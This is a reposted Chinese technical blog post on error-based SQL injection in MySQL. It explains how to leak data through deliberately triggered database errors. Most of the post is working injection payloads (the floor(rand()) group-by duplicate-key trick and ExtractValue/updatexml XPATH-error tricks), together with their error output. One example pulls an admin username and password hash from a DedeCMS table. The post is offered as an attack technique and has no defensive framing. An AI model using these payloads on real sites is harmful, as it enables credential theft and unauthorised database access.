且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

mysql错误信息的利用

更新时间:2022-09-18 12:03:29

 在很多的情况 下我们不能直接方便的进行注入,于是有了BENCHMARK延迟注射;

如果能得到MySQL的错误信息的话(必须是程序主动输出mysql错误,php中是调用mysql_error(),其他脚本可能有自己的函数),现在又有了更方便的方法。
网上流传了两三种方法:
=========================================================================

第一种略,略过了,低版本mysql适用

http://hi.baidu.com/toby57/blog/item/26416060c1d92c48eaf8f839.html

=========================================================================

第二种:

SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT ‘x’))a from information_schema.tables group by a)b;

ERROR 1062 (23000): Duplicate entry ’1x’ for key ‘group_key’

这种方法对MySQL版本没什么要求,但只能爆出64字节的数据,用这种方法遇到大数据只能MID慢慢来了。

(select 1 from (select count(*),concat((+++),floor(rand(0)*2))x from information_schema.tables group by x)k)

=========================================================================

第三种:

通过对ExtractValue和updataxml函数传递不合XPATH语法规则的参数来爆出数据。(只针对MySQL 5.1++,低于5.1的无此函数)

SELECT 1 AND ExtractValue(1, CONCAT(0x5c,(SELECT @@VERSION)))

ERROR 1105 (HY000): XPATH syntax error: ‘\5.1.40-community’

SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d) FROM dede_admin),1);

ERROR 1105 (HY000): XPATH syntax error: ‘[admin:7a57a5a743894a0e]‘

updatexml(1,CONCAT(0x5c,(SELECT @@VERSION)),1);

比上一种方法方便简洁,不过这方法只能爆出32字节的数据。同样,大数据只能Mid了。

百度一下这两个函数:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)。
作用:从目标XML中返回包含所查询值的字符串
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值










本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/551072,如需转载请自行联系原作者